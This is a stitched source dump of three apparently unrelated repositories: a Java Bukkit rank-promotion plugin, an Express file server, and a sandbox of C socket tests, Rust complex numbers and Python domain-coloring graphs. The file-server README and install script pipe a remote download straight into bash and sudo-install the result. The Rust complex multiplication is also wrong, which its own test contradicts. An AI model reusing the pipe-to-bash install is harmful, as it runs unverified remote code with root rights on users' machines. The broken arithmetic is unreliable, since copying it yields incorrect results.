DebugPrint("RemovePlayerNode: Removing " + ab.name + " from " + p.getName()); for(String node : ab.Nodes) { perms.RemoveNode(p, node, ab.world); break; } } public int CheckRanks(Player[] player) { int promoted=0; for(Player p : player) { if (CheckRanks(p)) promoted += 1; } return promoted; } public boolean CheckRanks(Player p) { long time = GetPlaytime(p.getName()); DebugPrint("CheckRanks: Checking " + p.getName() + " against " + Integer.toString(Ranks.size()) + " ranks"); //for each player on the server, loop though ranks and check if we need to promote. for(Rank r : Ranks.keySet()) { DebugPrint("CheckRanks: Checking " + p.getName() + " for " + r.GetGroup().getName()); if (time >= r.time && r.time>=0) {//Time looks good, lets try to promote. DebugPrint("CheckRanks: " + p.getName() + " time is great enough. Trying to promote to " + r.GetGroup().getName()); int doPromote =PromotePlayer(p,r); switch(doPromote) { case 0: DebugPrint("CheckRanks: " + p.getName() + " is now in " + r.GetGroup().getName()); Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(p)); replace.putAll(ProcessMsgVars(r)); String msg = ProcessMsg(r.msg, replace); if (r.broadcast) getServer().broadcastMessage(msg); else p.sendMessage(msg); return true; case 1: DebugPrint("CheckRanks: " + p.getName() + " is not in " + r.strOldGroups()); break; case 2: DebugPrint("CheckRanks: " + p.getName() + " is already in " + r.GetGroup().getName()); break; } } } return false; } public void CheckRented(int interval) { for (Iterator<PurchasedRank> iter = RentedRanks.iterator() ; iter.hasNext();) { PurchasedRank pa = iter.next(); Player p = getServer().getPlayer(pa.playername); if (p != null && p.isOnline()) {//player is online, remove some duration and check if we need to remove or not. DebugPrint("Check to see if " + p.getName() + ":"+ pa.rank.name + " expired"); DebugPrint("Info: Used " + pa.rank.rentTime/1000*20 + " / " + pa.durationTicks); pa.durationTicks -= interval; if (pa.durationTicks <= 0) {//Rent ran out. Demote back to orginal group. DebugPrint("Demoting " + p.getName()); for(GenericGroup curGroup: pa.rank.GetOldGroup() ) { if (perms.inGroup(p, curGroup.getWorld(), curGroup.getName())) perms.RemoveGroup(p.getWorld().getName(), p.getName(), curGroup.getWorld(), curGroup.getName()); } if (pa.rank.rentReturn && pa.rank.hasOldGroup()) perms.AddGroup(p, pa.rank.GetGroup().getWorld(), pa.rank.GetGroup().getName()); Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(p)); replace.putAll(ProcessMsgVars(pa.rank)); String msg = ProcessMsg(pa.rank.rentLostMsg, replace); if (pa.rank.rentBroadcast) getServer().broadcastMessage(msg); else p.sendMessage(msg); iter.remove(); } else { long left = pa.durationTicks*50; //convert from ticks to milliseconds. DebugPrint( p.getName() + " still has " + Mills2Time(left) + " in " + pa.rank.GetGroup().getName() ); } } } for (Iterator<PurchasedAbility> iter = RentedAbilities.iterator() ; iter.hasNext();) { PurchasedAbility pa = iter.next(); Player p = getServer().getPlayer(pa.playername); if (p != null && p.isOnline()) {//player is online, remove some duration and check if we need to remove or not. DebugPrint("Check to see if " + p.getName() + ":"+ pa.ability.name + " expired"); DebugPrint("Info: Used " + pa.ability.rentTime/1000*20 + " / " + pa.durationTicks); pa.durationTicks -= interval; if (pa.durationTicks <= 0) {//Rent ran out. Remove ability. DebugPrint("Removing " + pa.ability.name + " from " + p.getName()); RemovePlayerNode(p,pa.ability); Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(p)); replace.putAll(ProcessMsgVars(pa.ability)); String msg = ProcessMsg(pa.ability.rentLostMsg, replace); if (pa.ability.rentBroadcast) getServer().broadcastMessage(msg); else p.sendMessage(msg); iter.remove(); } else { long left = pa.durationTicks*50; //convert from ticks to milliseconds. DebugPrint( p.getName() + " still has " + Mills2Time(left) + " in " + pa.ability.name ); } } } } public boolean CheckAbilities(Player p) { long time = GetPlaytime(p.getName()); DebugPrint("CheckAbilities: Checking " + p.getName() + " against " + Integer.toString(Abilities.size()) + " ranks"); //for each player on the server, loop though ranks and check if we need to promote. for(Ability ab : Abilities.keySet()) { DebugPrint("CheckAbilities: Checking " + p.getName() + " for " + ab.name); if (time >= ab.time && ab.time>=0) {//Time looks good, lets try to promote. DebugPrint("CheckAbilities: " + p.getName() + " time is great enough. Trying to promote to " + ab.name); switch(AddPlayerNode(p,ab)) { case 0: DebugPrint("CheckAbilities: " + p.getName() + " is now has " + ab.name); Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(p)); replace.putAll(ProcessMsgVars(ab)); String msg = ProcessMsg(ab.msg, replace); if (ab.broadcast) getServer().broadcastMessage(msg); else p.sendMessage(msg); return true; case 1: DebugPrint("CheckAbilities: " + p.getName() + " is not in " + ab.name); break; case 2: DebugPrint("CheckAbilities: " + p.getName() + " is already in " + ab.name); break; } } } return false; } public void update(int interval) { CheckRanks(getServer().getOnlinePlayers()); CheckRented(interval); //savePlaytime(); } public String Mills2Time(long mills) { long time = mills / 1000; String seconds = Integer.toString((int)(time % 60)); String minutes = Integer.toString((int)((time % 3600) / 60)); String hours = Integer.toString((int)(time / 3600)); if (seconds.length() < 2) { seconds = "0" + seconds; } if (minutes.length() < 2) { minutes = "0" + minutes; } if (hours.length() < 2) { hours = "0" + hours; } return hours + ":" + minutes + ":" + seconds; } public long Time2Mills(String time) { SimpleDateFormat format = new SimpleDateFormat("kk:mm:ss"); try { Date d = format.parse(time); return d.getTime(); } catch (ParseException e) { ThrowSimpleError(e); return 0; } } public Player matchPlayer(String filter) { Player[] players = getServer().getOnlinePlayers(); for (Player player : players) { if (player.getName().equalsIgnoreCase(filter)) { return player; } } return null; } private String ProcessMsg(String msg,Map<String, String>replace) { for(String from : replace.keySet()) { String to = replace.get(from); //DebugPrint("From: "+from); //DebugPrint("To: "+to); msg = msg.replaceAll("<" + from + ">",to); } return ProcessMsg(msg); } private String ProcessMsg(String msg) { msg = msg.replaceAll("&", "§"); msg = msg.replaceAll("§§", "&"); return msg; //return msg.replaceAll("&[\\d]", "§$1"); } public boolean isParsableToInt(String i) { try { Integer.parseInt(i); return true; } catch(NumberFormatException nfe) { return false; } } private Map<String,String>ProcessMsgVars(Player p) { Map<String, String> replace = new HashMap<String, String>(); if (p != null) { replace.put("player.name",p.getName()); replace.put("player.world",p.getWorld().getName()); } else { replace.put("player.name","Console"); replace.put("player.world","None"); } return replace; } @SuppressWarnings("unused") private Map<String,String>ProcessMsgVars(GenericGroup g) { Map<String, String> replace = new HashMap<String, String>(); replace.put("group.name", g.getName()); replace.put("group.world",g.getWorld()); return replace; } private Map<String,String>ProcessMsgVars(Rank r) { Map<String, String> replace = new HashMap<String, String>(); replace.put("rank.group", r.GetGroup().getName()); if (r.hasOldGroup()) replace.put("rank.oldgroup", r.strOldGroups()); else replace.put("rank.oldgroup", ""); replace.put("rank.world",r.GetGroup().getWorld()); Class<Rank> rClass = Rank.class; Field[] methods = rClass.getFields(); for(Field f : methods) { try { replace.put("rank."+f.getName(),f.get(r).toString()); } catch (IllegalArgumentException e) { DebugPrint("Can not get property " + f.getName()); } catch (IllegalAccessException e) { DebugPrint("Can not get property " + f.getName()); } catch (Exception e) { ThrowSimpleError(e); } } return replace; } private Map<String,String>ProcessMsgVars(Ability ab) { Map<String, String> replace = new HashMap<String, String>(); Class<Ability> abClass = Ability.class; Field[] methods = abClass.getFields(); for(Field f : methods) { try { replace.put("ability."+f.getName(),f.get(ab).toString()); } catch (IllegalArgumentException e) { DebugPrint("Can not get property " + f.getName()); } catch (IllegalAccessException e) { DebugPrint("Can not get property " + f.getName()); } catch (Exception e) { ThrowSimpleError(e); } } return replace; } private boolean CheckItems(Player player, ItemStack costStack) { //make sure we have enough int cost = costStack.getAmount(); boolean hasEnough=false; for (ItemStack invStack : player.getInventory().getContents()) { if(invStack == null) continue; if (invStack.getTypeId() == costStack.getTypeId()) { int inv = invStack.getAmount(); if (cost - inv >= 0) { cost = cost - inv; } else { hasEnough=true; break; } } } return hasEnough; } private boolean ConsumeItems(Player player, ItemStack costStack) { //Loop though each item and consume as needed. We should of already //checked to make sure we had enough with CheckItems. for (ItemStack invStack : player.getInventory().getContents()) { if(invStack == null) continue; if (invStack.getTypeId() == costStack.getTypeId()) { int inv = invStack.getAmount(); int cost = costStack.getAmount(); if (cost - inv >= 0) { costStack.setAmount(cost - inv); player.getInventory().remove(invStack); } else { costStack.setAmount(0); invStack.setAmount(inv - cost); break; } } } return true; } class TimeRankChecker implements Runnable { private timerank plugin; private final int interval; public TimeRankChecker(timerank origin, final int interval) { this.plugin = origin; this.interval = interval; } @Override public void run() { plugin.update(interval); } } } <file_sep>/src/com/oberonserver/perms/methods/Perm3.java package com.oberonserver.perms.methods; import org.bukkit.entity.Player; import com.nijiko.permissions.Entry; import com.nijiko.permissions.Group; import com.nijiko.permissions.PermissionHandler; import com.oberonserver.perms.PermMethod; import com.oberonserver.timerank.timerank; public class Perm3 implements PermMethod{ timerank plugin; public Perm3(timerank instance) { plugin=instance; } public boolean HasPermission(Player p, String PermissionNode) { return plugin.permissionHandler.has(p,PermissionNode); } public boolean HasPermission(Player p, String PermissionNode, String world) { return plugin.permissionHandler.has(world,p.getName(),PermissionNode); } public PermissionHandler getHandler() { return plugin.permissionHandler; } public void AddGroup(Player p, String parentWorld, String parentName) { String world = p.getWorld().getName(); String name = p.getName(); Entry entry = getHandler().getUserObject(world, name); if (entry == null) { plugin.DebugPrint("Error in AddGroup. Could not create user: " + name + " in world " + world); return; } Group parent = getHandler().getGroupObject(parentWorld, parentName); if (parent == null) { plugin.DebugPrint("Error in AddGroup. Could not create group: " + parentName + " in world " + parentWorld); return; } plugin.DebugPrint("Adding '" + name + "' in world '" + world + "' to group '" + parentName + "' in world '" + parentWorld+"'"); entry.addParent(parent); } public void RemoveGroup(String world, String name, String parentWorld, String parentName) { Entry entry = getHandler().getUserObject(world, name); if (entry == null) plugin.DebugPrint("Error in RemoveGroup. Could not create user: " + name + " in world " + world); Group parent = getHandler().getGroupObject(parentWorld, parentName); if (parent == null) plugin.DebugPrint("Error in RemoveGroup. Could not create group: " + parentName + " in world " + parentWorld); entry.removeParent(parent); if (inGroup(plugin.getServer().getPlayer(name),parentWorld,parentName)) { plugin.DebugPrint("Something went wrong adding '" + name + "' in world '" + world + "' to group '" + parentName + "' in world '" + parentWorld+"'"); } } public boolean AddNode(Player p, String node, String World) { getHandler().addUserPermission(World, p.getName(), node); return true; } public boolean RemoveNode(Player p, String node, String World) { getHandler().removeUserPermission(World, p.getName(), node); return true; } public boolean inGroup(Player p, String parentWorld, String parentName) { return getHandler().inGroup(p.getWorld().getName(), p.getName(),parentWorld, parentName); } public boolean isGroup(String world, String name) { Group parent = getHandler().getGroupObject(world, name); if (parent == null) return false; return true; } } <file_sep>/src/com/oberonserver/timerank/Ability.java package com.oberonserver.timerank; import java.io.Serializable; import java.util.LinkedList; import java.util.List; import com.oberonserver.perms.PermMethod; public class Ability implements Serializable{ /** * */ private static final long serialVersionUID = 1L; public String permission=""; public String desc=""; public String world="*"; public long time=-1; public int cost=-1; public long minTime=-1; public double amount=1; public String name=""; public String msg=""; public boolean broadcast=false; public int rentCost=-1; public double rentAmount=-1; public long rentTime=-1; public long rentMinTime=-1; public String rentLostMsg=""; public String rentGainedMsg=""; public boolean rentBroadcast=false; public List<String> Nodes=new LinkedList<String>(); public List<String> Categories=new LinkedList<String>(); PermMethod perm; } <file_sep>/src/com/oberonserver/timerank/GenericGroup.java package com.oberonserver.timerank; import java.io.Serializable; public class GenericGroup implements Serializable{ /** * */ private static final long serialVersionUID = 1L; private String name=""; private String world=""; public GenericGroup(String sWorld, String sName) { name=sName; world=sWorld; } public String getName() { return name; } public String getWorld() { return world; } } <file_sep>/src/com/oberonserver/perms/PermMethod.java package com.oberonserver.perms; import org.bukkit.entity.Player; import com.nijiko.permissions.PermissionHandler; public interface PermMethod { public void AddGroup(Player player, String parentWorld, String parentName); public void RemoveGroup(String world, String name, String parentWorld, String parentName); public PermissionHandler getHandler(); public boolean HasPermission(Player p, String PermissionNode); public boolean HasPermission(Player p, String PermissionNode, String world); public boolean inGroup(Player p, String parentWorld, String parentName); public boolean AddNode(Player p, String node, String world); public boolean RemoveNode(Player p, String node, String world); }
f9423bed54f09cdb6f23626c5ed7161ec6782455
[ "Java" ]
6
Java
plugcraft/Time-Rank
dfada38f9f3045acb0d5a32c174437670dd4ad22
7ef4a42d9cbeabf25db4ee3d67f9cb89b3adc737
refs/heads/master
<repo_name>L04DB4L4NC3R/file-server<file_sep>/README.md # file-server ## Serving express-auth-generator on https://fileserve.herokuapp.com/download/express_auth_generator ``` $ curl -L https://fileserve.herokuapp.com/download/express_auth_generator | bash ``` <file_sep>/routes/express_auth_generator.js const app = require("express").Router(); app.get("/download/express_auth_generator",(req,res)=>{ var file = (__dirname).split("routes")[0] + "/files/EAS/install"; res.download(file); }); app.get("/download/getauthgen",(req,res)=>{ var file = (__dirname).split("routes")[0] + "/files/EAS/authgen"; res.download(file); }); module.exports = app; <file_sep>/files/EAS/install #!/bin/bash curl -L https://fileserve.herokuapp.com/download/getauthgen > authgen chmod +x authgen sudo mv authgen /usr/local/bin
9e24396a5f6323a61d2fc2b8e82172f9893b43f3
[ "Markdown", "JavaScript", "Shell" ]
3
Markdown
L04DB4L4NC3R/file-server
b1266def9a71dbdf3e0f85536c746795a2432a42
9feb3243e51bd4ea5b8c3be7c69f66f879f10d16
refs/heads/master
<file_sep># This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup). # # Examples: # # movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }]) # Character.create(name: 'Luke', movie: movies.first) require 'json' require 'open-uri' puts "Cleaning database" Ingredient.destroy_all Cocktail.destroy_all puts "Parsing cocktaildb.com" url = "https://www.thecocktaildb.com/api/json/v1/1/list.php?i=list" ingredients_serialized = open(url).read ingredients = JSON.parse(ingredients_serialized) puts "Creating ingredients" ingredients["drinks"].each do |i| i_name = i["strIngredient1"] Ingredient.create!(name: i_name) end puts "Finished seeding ingredients" puts "Seeding cocktails" Cocktail.create!(name: "Negroni") Cocktail.create!(name: "Old Fashioned") Cocktail.create!(name: "Gin and Soda") puts "Finished seeding cocktails"
f7be728cd265aad51e8792d7e2f19102a10e2f68
[ "Ruby" ]
1
Ruby
ispasmic/rails-mister-cocktail
c1299d03b6a5de1d19f1004e35624eceb215eaac
24a5d01e1d8d782dc93bbbdc95e19265c9f3de54
refs/heads/master
<repo_name>willpm99/Assignment-1<file_sep>/Deliverable3.py # -*- coding: utf-8 -*- """Assignment1.ipynb <NAME> 20054564 Automatically generated by Colaboratory. Original file is located at https://colab.research.google.com/drive/1C2nrSlt0DRt0xFsA4Qh06oAwWVNoR1BT """ # download data (-q is the quiet mode) ! wget -q https://www.dropbox.com/s/lhb1awpi769bfdr/test.csv?dl=1 -O test.csv ! wget -q https://www.dropbox.com/s/gudb5eunj700s7j/train.csv?dl=1 -O train.csv import pandas as pd Xy_train = pd.read_csv('train.csv', engine='python') X_train = Xy_train.drop(columns=['price_rating']) y_train = Xy_train[['price_rating']] print('traning', len(X_train)) Xy_train.price_rating.hist() X_test = pd.read_csv('test.csv', engine='python') testing_ids = X_test.Id print('testing', len(X_test)) # This is all just setting up the data as variables in order to run the algorithms # model training and tuning import numpy as np from sklearn.compose import ColumnTransformer from sklearn.datasets import fetch_openml from sklearn.pipeline import Pipeline from sklearn.ensemble import RandomForestClassifier from sklearn.impute import SimpleImputer from sklearn.preprocessing import LabelEncoder from sklearn.preprocessing import StandardScaler, OneHotEncoder from sklearn.linear_model import LogisticRegression from sklearn.model_selection import train_test_split, GridSearchCV from sklearn.ensemble import GradientBoostingClassifier from xgboost.sklearn import XGBClassifier # This is just importing the needed classes and modules for the code np.random.seed(0) # This is setting the random numbers to be predictable numeric_features = ['bedrooms', 'review_scores_location', 'accommodates', 'beds'] numeric_transformer = Pipeline(steps=[ ('imputer', SimpleImputer(strategy='median')), ('scaler', StandardScaler())]) # This accounts for missing values and completes them categorical_features = [ 'property_type', 'is_business_travel_ready', 'room_type', ] categorical_transformer = Pipeline(steps=[ ('imputer', SimpleImputer(strategy='constant', fill_value='missing')), ('onehot', OneHotEncoder(handle_unknown='ignore'))]) # This accounts for missing values and completes them as well as # the onehot encoder which encodes the categorical features as a numeric array preprocessor = ColumnTransformer( transformers=[ ('num', numeric_transformer, numeric_features), ('cat', categorical_transformer, categorical_features)]) # This allows different columns to be transformed seperately regr = Pipeline(steps=[('preprocessor', preprocessor), ('regressor', RandomForestClassifier())]) # This is the implementation of the model - XGBClassifier in this case - where # model is run and the model set up for the data is now referred to as 'regr' X_train = X_train[[*numeric_features, *categorical_features]] X_test = X_test[[*numeric_features, *categorical_features]] # This is the setup of the data into arrays that can be used with the model for # training and testing # `__` denotes attribute # (e.g. regressor__n_estimators means the `n_estimators` param for `regressor` # which is the randomforest) param_grid = { 'preprocessor__num__imputer__strategy': ['mean'], 'regressor__n_estimators': [50, 100,], 'regressor__max_depth':[10, 30, 50] } # This is the setup for the different parameters the model is going to # experiment with. In this case it is going to be run with two different # n estimators and two different max depths. This is where the model tuning # can be done a little easier - setting up the different parameters to all run # in conjunction with one another. grid_search = GridSearchCV( regr, param_grid, cv=5, verbose=3, n_jobs=2, scoring='accuracy') grid_search.fit(X_train, y_train) # This takes the model and runs it with a cross validation and on two seperate # processes. The highest scored parameter set is going to be used to fit the # model to the data. print('best score {}'.format(grid_search.best_score_)) # This outputs the highest score reached with the parameter set given. # Prediction & generating the submission file y_pred = grid_search.predict(X_test) pd.DataFrame( {'Id': testing_ids, 'price_rating':y_pred}).to_csv('submission.csv', index=False) # This is the most simple portion of the code - simply outputting the calculated # classifications of the predictions.
aa07cfdbb276af7aaa260120f33dd54b642ff028
[ "Python" ]
1
Python
willpm99/Assignment-1
e122a7d02f427062c75916bf911b77169b9d5104
e8d92d3ccdf25bd818c2eb1dec303bb028054dae
refs/heads/master
<repo_name>vankessel/sandbox<file_sep>/networking/test2.c #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <errno.h> #define MYPORT "3490" // the port users will be connecting to int main(void) { struct addrinfo hints, *res; int sockfd; // first, load up address structs with getaddrinfo(): memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; getaddrinfo("127.0.0.1", MYPORT, &hints, &res); // make a socket: sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol); printf("2-sfd: %d\n", sockfd); // connect! int c = connect(sockfd, res->ai_addr, res->ai_addrlen); printf("2-con: %d\n", c); if(c == -1) {printf("errno: %d\n", errno);} const int size = 15; char buf[16] = {0}; int r = recv(sockfd, buf, size, 0); buf[size] = '\0'; printf("2-rec: %d\n", r); if(r == -1) {printf("errno: %d\n", errno);} printf("%s", buf); close(sockfd); return 0; } <file_sep>/complex/src/lib.rs use std::ops::{Add, Div, Mul, Neg, Sub}; trait Numeric<T>: Add<Output = T> + Sub<Output = T> + Mul<Output = T> + Div<Output = T> + Neg<Output = T> + Copy + PartialEq + PartialOrd { } impl Numeric<f64> for f64 {} impl Numeric<f32> for f32 {} #[derive(Clone, Copy, PartialEq, Debug)] struct Complex<T: Numeric<T>> { a: T, b: T, } type Complex32 = Complex<f32>; type Complex64 = Complex<f64>; impl<T> Complex<T> where T: Numeric<T>, { fn new(a: T, b: T) -> Self { Self { a: a, b: b } } fn conj(&self) -> Self { Self { a: self.a, b: -self.b, } } fn conj_inp(&mut self) -> Self { self.b = -self.b; *self } } impl<T> Add for Complex<T> where T: Numeric<T>, { type Output = Self; fn add(self, other: Self) -> Self { Self { a: self.a + other.a, b: self.b + other.b, } } } impl<T> Add<T> for Complex<T> where T: Numeric<T>, { type Output = Self; fn add(self, other: T) -> Self { Self { a: self.a + other, b: self.b, } } } impl Add<Complex64> for f64 { type Output = Complex64; fn add(self, other: Complex64) -> Complex64 { Complex { a: other.a + self, b: other.b, } } } impl Add<Complex32> for f32 { type Output = Complex32; fn add(self, other: Complex32) -> Complex32 { Complex { a: other.a + self, b: other.b, } } } impl<T: Numeric<T>> Sub for Complex<T> { type Output = Self; fn sub(self, other: Self) -> Self { Self { a: self.a - other.a, b: self.b - other.b, } } } impl<T: Numeric<T>> Sub<T> for Complex<T> { type Output = Self; fn sub(self, other: T) -> Self { Self { a: self.a - other, b: self.b, } } } impl Sub<Complex64> for f64 { type Output = Complex64; fn sub(self, other: Complex64) -> Complex64 { Complex { a: self - other.a, b: -other.b, } } } impl Sub<Complex32> for f32 { type Output = Complex32; fn sub(self, other: Complex32) -> Complex32 { Complex { a: self - other.a, b: -other.b, } } } impl<T: Numeric<T>> Mul for Complex<T> { type Output = Self; fn mul(self, other: Self) -> Self { let im_half = self.b * other.b; Self { a: self.a * self.a - other.a * other.a, b: im_half + im_half } } } impl<T: Numeric<T>> Mul<T> for Complex<T> { type Output = Self; fn mul(self, other: T) -> Self { Self { a: self.a * other, b: self.b * other } } } impl Mul<Complex64> for f64 { type Output = Complex64; fn mul(self, other: Complex64) -> Complex64 { Complex { a: other.a * self, b: other.b * self } } } impl Mul<Complex32> for f32 { type Output = Complex32; fn mul(self, other: Complex32) -> Complex32 { Complex { a: other.a * self, b: other.b * self } } } #[cfg(test)] pub mod tests { use super::*; #[test] fn construct() { assert_eq!(Complex { a: 1.0, b: 2.0 }, Complex::new(1.0, 2.0)); } #[test] fn duplication() { let z = Complex::new(1.0, 2.0); assert_eq!(z, z.clone()); } #[test] fn conjugation() { let z = Complex::new(1.0, 2.0); let w = z; assert_eq!(z, w.conj().conj()); let mut w = z; assert_eq!(z, w.conj_inp().conj_inp()); } #[test] fn addition() { let z = Complex::new(1.0, 2.0); assert_eq!(Complex::new(2.0, 4.0), z + z); assert_eq!(Complex::new(2.0, 2.0), z + 1.0); assert_eq!(Complex::new(2.0, 2.0), 1.0 + z); } #[test] fn subtraction() { let z = Complex::new(1.0, 2.0); assert_eq!(Complex::new(0.0, 0.0), z - z); assert_eq!(Complex::new(0.0, 2.0), z - 1.0); assert_eq!(Complex::new(0.0, -2.0), 1.0 - z); } #[test] fn multiplication() { let z = Complex::new(1.0, 2.0); assert_eq!(Complex::new(-3.0, 4.0), z * z); } } <file_sep>/graph/render.py import sys import moviepy.editor as mpy def create_gif(name, file_list, fps=24): clip = mpy.ImageSequenceClip(file_list, fps=fps) clip.write_gif('{}.gif'.format(name), fps=fps) def create_webm(name, file_list, fps=24, bitrate='8192k'): clip = mpy.ImageSequenceClip(file_list, fps=fps) clip.write_videofile('{}.webm'.format(name), fps=fps, bitrate=bitrate) <file_sep>/graph/requirements.txt certifi==2023.7.22 chardet==3.0.4 cycler==0.10.0 decorator==4.4.0 idna==2.8 imageio==2.5.0 imageio-ffmpeg==0.3.0 kiwisolver==1.1.0 matplotlib==3.1.0 moviepy==1.0.0 numpy==1.22.0 opencv-python==4.2.0.32 Pillow==9.3.0 pkg-resources==0.0.0 proglog==0.1.9 pyparsing==2.4.0 python-dateutil==2.8.0 pytz==2019.1 requests==2.31.0 scipy==1.10.0 six==1.12.0 tqdm==4.32.1 urllib3==1.26.5 <file_sep>/graph/main.py #!/usr/bin/env python import os from shutil import rmtree import matplotlib.pyplot as plt import numpy as np import dcoloring, render WIDTH = 12.0 HEIGHT = 12.0 POINTS_PER_DIM = 512 FRAMES = 480 TEMP_DIR = 'temp' if not os.path.exists(TEMP_DIR): os.makedirs(TEMP_DIR) x, y = np.ogrid[ -WIDTH/2:WIDTH/2:POINTS_PER_DIM*1j, -HEIGHT/2:HEIGHT/2:POINTS_PER_DIM*1j ] z = x + 1j*y t = np.arange(0.0, 2*np.pi - 2*np.pi/FRAMES/2, 2*np.pi/FRAMES) weight1 = dcoloring.clover( t ) bias1 = dcoloring.clover( t, -np.pi/2) weight2 = dcoloring.clover( 2*t, -np.pi/2) bias2 = dcoloring.clover( 2*t ) weight3 = dcoloring.clover( 3*t ) bias3 = dcoloring.clover( 3*t, -np.pi/2) #This loop goes over each weight and bias and generates a plot for each #These plots are aggregated to make a video showcasing some of the function space file_names = [] fig = plt.figure() ax = fig.add_subplot(111) for idx in range(0, len(t)): w = np.exp(weight1[idx] * np.log(weight2[idx] * np.exp(z) + bias2[idx]) + bias1[idx]) img = dcoloring.colorize(w, grid=False) ax.clear() ax.imshow(img, extent=(-WIDTH/2,WIDTH/2,-HEIGHT/2,HEIGHT/2)) ax.set_xlim(-WIDTH/2, WIDTH/2) ax.set_ylim(-HEIGHT/2, HEIGHT/2) ax.set(xlabel='{}'.format(idx)) print('Rendering frame {0:{2}}/{1:{2}}'.format(idx, FRAMES, int(np.log10(FRAMES)+1))) fig.savefig('{}/frame.{}.png'.format(TEMP_DIR, idx)) file_names.append('{}/frame.{}.png'.format(TEMP_DIR, idx)) render.create_webm('graph', file_names) rmtree(TEMP_DIR) <file_sep>/complex/Cargo.toml [package] name = "complex" version = "0.1.0" authors = ["<NAME> <<EMAIL>>"] edition = "2018" [dependencies] <file_sep>/graph/dcoloring.py import numpy as np from colorsys import hls_to_rgb # Domain coloring function def colorize(z, max_sat=0.9, grid_taper=0.02, log_base=2.0, grid=True): r = np.abs(z) arg = np.angle(z) real = np.real(z) imag = np.imag(z) if grid: height = np.sqrt(max_sat) real_subpos = real - np.floor(real) real_sat = plateau_curve(real_subpos, grid_taper, height) imag_subpos = imag - np.floor(imag) imag_sat = plateau_curve(imag_subpos, grid_taper, height) s = real_sat * imag_sat else: s = max_sat log2r = np.log2(r) if log_base != 2.0: log2r /= np.log2(log_base) h = arg / (2 * np.pi) l = (log2r - np.floor(log2r)) / 5 + 2 / 5 c = np.vectorize(hls_to_rgb)(h, l, s) c = np.array(c).swapaxes(0, 2) c = np.flip(c, 0) return c def cos_interpolation(x): return (1 - np.cos(np.pi * x)) / 2 def plateau_curve(x, taper_length=0.05, height=1.0, total_length=1.0): conditions = [ x < taper_length, np.logical_and(taper_length <= x, x <= total_length - taper_length), total_length - taper_length < x ] functions = [ lambda x: height * cos_interpolation(x / taper_length), lambda x: height, lambda x: height * cos_interpolation((total_length - x) / taper_length) ] return np.piecewise(x, conditions, functions) def clover(theta, offset=0.0): return np.cos(2 * theta + offset) * np.exp(theta * 1j) <file_sep>/graph/interp.py #!/usr/bin/env python import os from shutil import rmtree import matplotlib.pyplot as plt import numpy as np import scipy.special as sp import cv2 import dcoloring, render from funcs import * WIDTH = 12 HEIGHT = 24 HEIGHT_OFFSET = 11 POINTS_PER_DIM = 2048 FRAMES = 240 FPS = 60 BACK_FORTH = True TEMP_DIR = 'temp' OUT_DIR = 'out' if not os.path.exists(OUT_DIR): os.makedirs(OUT_DIR) x, y = np.ogrid[ -WIDTH/2:WIDTH/2:POINTS_PER_DIM/2*1j, HEIGHT_OFFSET + (-HEIGHT / 2):HEIGHT_OFFSET + (HEIGHT / 2):POINTS_PER_DIM*1j ] z = x + 1j*y # 0 to 1 inclusive lerp = np.arange(0.0, 1.0 + 1.0/FRAMES/2, 1.0/FRAMES) cerp = dcoloring.cos_interpolation(lerp) print("Calculating functions") cfunctions = [ ('zeta(z)', zeta(z, E=1e-9)), # ('exp(z)', np.exp(z)), # ('ln(z)', np.log(z)), # ('z^3', z*z*z), # ('z^2', z*z), # ('z^0.5', np.sqrt(z)), # ('z^-1', 1/z), # ('z^-0.5', 1/np.sqrt(z)), # ('z^-2', 1/(z*z)), # ('sin(z)', np.sin(z)), # ('sinh(z)', np.sinh(z)), # ('asin(z)', np.arcsin(z)), # ('tan(z)', np.tan(z)), # ('atan(z)', np.arctan(z)), # ('Zoomed sin(z^-1)', np.sin(1/z)), # ('Zoomed tan(z^-1)', np.tan(1/z)), # ('z^i', np.power(z, 1j)), # ('z^-i', np.power(z, -1j)), # ('(1+e^-z)^-1', 1/(1 + np.exp(-z))), # ('e^(-e^-z)', np.exp(-np.exp(-z))), # ('ln(e^z + 1)', np.log(np.exp(z) + 1)), # ('ln(e^z + 1) - ln(e^z - 1)', np.log((np.exp(z) + 1) / (np.exp(z) - 1))), # ('gamma(z)', sp.gamma(z)), ] print("Done") log_base = 2.0 # np.exp(2*np.pi/6) for func_name, cfunction in cfunctions: print('Processing {}'.format(func_name)) # Perpare plots and function fig = plt.figure() ax = fig.add_subplot(111) # Set interpolation and animate transition between two complex functions file_names = [] path = OUT_DIR + '/' + func_name if not os.path.exists(TEMP_DIR): os.makedirs(TEMP_DIR) interp = cerp for idx in range(0, len(interp)): w = z * (1.0 - interp[idx]) + cfunction * (interp[idx]) cfunc_plot = dcoloring.colorize(w, grid=False, log_base=log_base) ax.clear() ax.imshow(cfunc_plot, extent=(-WIDTH/2, WIDTH/2, HEIGHT_OFFSET + (-HEIGHT / 2), HEIGHT_OFFSET + (HEIGHT / 2))) ax.set(xlabel='{:3.0f}%'.format(round(interp[idx] * 100)), title=func_name) # Save frame print('Rendering frame {0:{2}}/{1:{2}}'.format(idx + 1, FRAMES, int(np.log10(FRAMES) + 1))) temp_path = '{}/frame.{}.png'.format(TEMP_DIR, idx) fig.savefig(temp_path, dpi=1000, transparent=True) file_names.append(temp_path) # Resize for aliasing img = cv2.imread(temp_path) img = cv2.resize(img, (int(img.shape[1]/8), int(img.shape[0]/8)), interpolation=cv2.INTER_AREA) cv2.imwrite(temp_path, img) # Save image of complete function if idx == len(interp)-1: img_path = '{}.png'.format(path) fig.savefig(img_path, dpi=1600, transparent=True) img = cv2.imread(img_path) img = cv2.resize(img, (int(img.shape[1]/4), int(img.shape[0]/4)), interpolation=cv2.INTER_AREA) cv2.imwrite('{}.png'.format(path), img) if BACK_FORTH: file_names = file_names + list(reversed(file_names[1:-1])) render.create_webm(path + ".8162", file_names, fps=FPS, bitrate='8162k') render.create_webm(path + ".2048", file_names, fps=FPS, bitrate='2048k') 